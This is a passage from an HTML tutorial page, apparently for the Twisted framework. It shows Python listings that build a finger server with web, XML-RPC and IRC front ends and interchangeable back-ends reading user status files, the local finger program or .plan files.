class="py-src-variable">FingerFactoryFromService</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">IFingerFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerSetterProtocol</span>(<span class="py-src-parameter">basic</span>.<span class="py-src-parameter">LineReceiver</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionMade</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span> = [] <span class="py-src-keyword">def</span> <span class="py-src-identifier">lineReceived</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">line</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>.<span class="py-src-variable">append</span>(<span class="py-src-variable">line</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionLost</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">reason</span>): <span class="py-src-keyword">if</span> <span class="py-src-variable">len</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>) == <span class="py-src-number">2</span>: <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">setUser</span>(*<span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerSetterFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ServerFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerSetterFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">FingerSetterProtocol</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">setUser</span>(<span class="py-src-variable">user</span>, <span class="py-src-variable">status</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">FingerSetterFactoryFromService</span>, <span class="py-src-variable">IFingerSetterService</span>, <span class="py-src-variable">IFingerSetterFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IRCReplyBot</span>(<span class="py-src-parameter">irc</span>.<span class="py-src-parameter">IRCClient</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionMade</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">nickname</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">nickname</span> <span class="py-src-variable">irc</span>.<span class="py-src-variable">IRCClient</span>.<span class="py-src-variable">connectionMade</span>(<span class="py-src-variable">self</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">privmsg</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">channel</span>, <span class="py-src-parameter">msg</span>): <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">split</span>(<span class="py-src-string">'!'</span>)[<span class="py-src-number">0</span>] <span class="py-src-keyword">if</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">nickname</span>.<span class="py-src-variable">lower</span>() == <span class="py-src-variable">channel</span>.<span class="py-src-variable">lower</span>(): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">msg</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addErrback</span>(<span class="py-src-variable">catchError</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-string">&quot;Status of %s: %s&quot;</span> % (<span class="py-src-variable">msg</span>, <span class="py-src-variable">m</span>)) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-variable">self</span>.<span class="py-src-variable">msg</span>(<span class="py-src-variable">user</span>, <span class="py-src-variable">m</span>)) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IIRCClientFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-string">&quot;&quot;&quot; @ivar nickname &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IRCClientFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ClientFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IIRCClientFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">IRCReplyBot</span> <span class="py-src-variable">nickname</span> = <span class="py-src-variable">None</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">IRCClientFactoryFromService</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">IIRCClientFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatusTree</span>(<span class="py-src-parameter">resource</span>.<span class="py-src-parameter">Resource</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">resource</span>.<span class="py-src-variable">Resource</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">putChild</span>(<span class="py-src-string">'RPC2'</span>, <span class="py-src-variable">UserStatusXR</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>)) <span class="py-src-keyword">def</span> <span class="py-src-identifier">render_GET</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">request</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUsers</span>() <span class="py-src-keyword">def</span> <span class="py-src-identifier">formatUsers</span>(<span class="py-src-parameter">users</span>): <span class="py-src-variable">l</span> = [<span class="py-src-string">'&lt;li&gt;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&lt;/li&gt;'</span> % (<span class="py-src-variable">user</span>, <span class="py-src-variable">user</span>) <span class="py-src-keyword">for</span> <span class="py-src-variable">user</span> <span class="py-src-keyword">in</span> <span class="py-src-variable">users</span>] <span class="py-src-keyword">return</span> <span class="py-src-string">'&lt;ul&gt;'</span>+<span class="py-src-string">''</span>.<span class="py-src-variable">join</span>(<span class="py-src-variable">l</span>)+<span class="py-src-string">'&lt;/ul&gt;'</span> <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">formatUsers</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">request</span>.<span class="py-src-variable">write</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">_</span>: <span class="py-src-variable">request</span>.<span class="py-src-variable">finish</span>()) <span class="py-src-keyword">return</span> <span class="py-src-variable">server</span>.<span class="py-src-variable">NOT_DONE_YET</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getChild</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">path</span>, <span class="py-src-parameter">request</span>): <span class="py-src-keyword">if</span> <span class="py-src-variable">path</span>==<span class="py-src-string">&quot;&quot;</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">UserStatusTree</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>) <span class="py-src-keyword">else</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">UserStatus</span>(<span class="py-src-variable">path</span>, <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">UserStatusTree</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatus</span>(<span class="py-src-parameter">resource</span>.<span class="py-src-parameter">Resource</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">resource</span>.<span class="py-src-variable">Resource</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">user</span> = <span class="py-src-variable">user</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">render_GET</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">request</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">user</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">cgi</span>.<span class="py-src-variable">escape</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-string">'&lt;h1&gt;%s&lt;/h1&gt;'</span>%<span class="py-src-variable">self</span>.<span class="py-src-variable">user</span>+<span class="py-src-string">'&lt;p&gt;%s&lt;/p&gt;'</span>%<span class="py-src-variable">m</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">request</span>.<span class="py-src-variable">write</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">_</span>: <span class="py-src-variable">request</span>.<span class="py-src-variable">finish</span>()) <span class="py-src-keyword">return</span> <span class="py-src-variable">server</span>.<span class="py-src-variable">NOT_DONE_YET</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatusXR</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">XMLRPC</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">filename</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">filename</span> = <span class="py-src-variable">filename</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span> = {} <span class="py-src-keyword">def</span> <span class="py-src-identifier">_read</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">clear</span>() <span class="py-src-keyword">for</span> <span class="py-src-variable">line</span> <span class="py-src-keyword">in</span> <span class="py-src-variable">file</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">filename</span>): <span class="py-src-variable">user</span>, <span class="py-src-variable">status</span> = <span class="py-src-variable">line</span>.<span class="py-src-variable">split</span>(<span class="py-src-string">':'</span>, <span class="py-src-number">1</span>) <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">status</span> = <span class="py-src-variable">status</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>[<span class="py-src-variable">user</span>] = <span class="py-src-variable">status</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">call</span> = <span class="py-src-variable">reactor</span>.<span class="py-src-variable">callLater</span>(<span class="py-src-number">30</span>, <span class="py-src-variable">self</span>.<span class="py-src-variable">_read</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">get</span>(<span class="py-src-variable">user</span>, <span class="py-src-string">&quot;No such user&quot;</span>)) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">keys</span>()) <span class="py-src-keyword">def</span> <span class="py-src-identifier">startService</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">_read</span>() <span class="py-src-variable">service</span>.<span class="py-src-variable">Service</span>.<span class="py-src-variable">startService</span>(<span class="py-src-variable">self</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">stopService</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">service</span>.<span class="py-src-variable">Service</span>.<span class="py-src-variable">stopService</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">call</span>.<span class="py-src-variable">cancel</span>() <span class="py-src-comment"># Another back-end</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">LocalFingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-comment"># need a local finger daemon running for this to work</span> <span class="py-src-keyword">return</span> <span class="py-src-variable">utils</span>.<span class="py-src-variable">getProcessOutput</span>(<span class="py-src-string">&quot;finger&quot;</span>, [<span class="py-src-variable">user</span>]) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>([]) <span class="py-src-variable">application</span> = <span class="py-src-variable">service</span>.<span class="py-src-variable">Application</span>(<span class="py-src-string">'finger'</span>, <span class="py-src-variable">uid</span>=<span class="py-src-number">1</span>, <span class="py-src-variable">gid</span>=<span class="py-src-number">1</span>) <span class="py-src-variable">f</span> = <span class="py-src-variable">LocalFingerService</span>() <span class="py-src-variable">serviceCollection</span> = <span class="py-src-variable">service</span>.<span class="py-src-variable">IServiceCollection</span>(<span class="py-src-variable">application</span>) <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPServer</span>(<span class="py-src-number">79</span>, <span class="py-src-variable">IFingerFactory</span>(<span class="py-src-variable">f</span>) ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPServer</span>(<span class="py-src-number">8000</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>(<span class="py-src-variable">f</span>)) ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) <span class="py-src-variable">i</span> = <span class="py-src-variable">IIRCClientFactory</span>(<span class="py-src-variable">f</span>) <span class="py-src-variable">i</span>.<span class="py-src-variable">nickname</span> = <span class="py-src-string">'fingerbot'</span> <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPClient</span>(<span class="py-src-string">'irc.freenode.org'</span>, <span class="py-src-number">6667</span>, <span class="py-src-variable">i</span> ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) </pre><div class="caption">Source listing - <a href="listings/finger/finger19b.tac"><span class="filename">listings/finger/finger19b.tac</span></a></div></div> </p> <p>We've already written this, but now we get more for less work: the network code is completely separate from the back-end.</p> <h2>Yet Another Back-end: Doing the Standard Thing<a name="auto2"/></h2> <div class="py-listing"><pre><p class="py-linenumber"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 </p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">protocol</span>, <span class="py-src-variable">reactor</span>, <span class="py-src-variable">defer</span>, <span class="py-src-variable">utils</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">pwd</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">os</span> <span class="py-src-comment"># Yet another back-end</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">LocalFingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">strip</span>() <span class="py-src-keyword">try</span>: <span class="py-src-variable">entry</span> = <span class="py-src-variable">pwd</span>.<span class="py-src-variable">getpwnam</span>(<span class="py-src-variable">user</span>) <span class="py-src-keyword">except</span> <span class="py-src-variable">KeyError</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-string">&quot;No such user&quot;</span>) <span class="py-src-keyword">try</span>: <span class="py-src-variable">f</span> = <span class="py-src-variable">file</span>(<span class="py-src-variable">os</span>.<span class="py-src-variable">path</span>.<span class="py-src-variable">join</span>(<span class="py-src-variable">entry</span>[<span class="py-src-number">5</span>],<span class="py-src-string">'.plan'</span>)) <span class="py-src-keyword">except</span> (<span class="py-src-variable">IOError</span>, <span class="py-src-variable">OSError</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-string">&quot;No such user&quot;</span>) <span class="py-src-variable">data</span> = <span class="py-src-variable">f</span>.<span class="py-src-variable">read</span>() <span class="py-src-variable">data</span> = <span class="py-src-variable">data</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">f</span>.<span class="py-src-variable">close</span>() <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">data</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>([]) <span class="py-src-variable">f</span> = <span class="py-src-variable">LocalFingerService</span>() </pre><div class="caption">Source listing - <a href="listings/finger/finger19c_changes.py"><span class="filename">listings/finger/finger19c_changes.py</span></a></div></div> <p> Full source code here: <div class="py-listing"><pre><p class="py-linenumber"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 </p><span class="py-src-comment"># Do everything properly, and componentize</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">application</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">internet</span>, <span class="py-src-variable">service</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">protocol</span>, <span class="py-src-variable">reactor</span>, <span class="py-src-variable">defer</span>, <span class="py-src-variable">utils</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">words</span>.<span class="py-src-variable">protocols</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">irc</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">protocols</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">basic</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">python</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">components</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">resource</span>, <span class="py-src-variable">server</span>, <span class="py-src-variable">static</span>, <span class="py-src-variable">xmlrpc</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">zope</span>.<span class="py-src-variable">interface</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">Interface</span>, <span class="py-src-variable">implements</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">cgi</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">pwd</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">os</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a list of strings. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Set the user's status to something. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Set the user's status to something. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">catchError</span>(<span class="py-src-parameter">err</span>): <span class="py-src-keyword">return</span> <span class="py-src-string">&quot;Internal error in server&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerProtocol</span>(<span class="py-src-parameter">basic</span>.<span class="py-src-parameter">LineReceiver</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">lineReceived</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addErrback</span>(<span class="py-src-variable">catchError</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">writeValue</span>(<span class="py-src-parameter">value</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">transport</span>.<span class="py-src-variable">write</span>(<span class="py-src-variable">value</span>+<span class="py-src-string">'\r\n'</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">transport</span>.<span class="py-src-variable">loseConnection</span>() <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">writeValue</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ServerFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">FingerProtocol</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">FingerFactoryFromService</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">IFingerFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerSetterProtocol</span>(<span class="py-src-parameter">basic</span>.<span class="py-src-parameter">LineReceiver</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionMade</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span> = [] <span class="py-src-keyword">def</span> <span class="py-src-identifier">lineReceived</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">line</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>.<span class="py-src-variable">append</span>(<span class="py-src-variable">line</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionLost</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">reason</span>): <span class="py-src-keyword">if</span> <span class="py-src-variable">len</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>) == <span class="py-src-number">2</span>: <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">setUser</span>(*<span class="py-src-variable">self</span>.<span class="py-src-variable">lines</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol returning a string. &quot;&quot;&quot;</span> 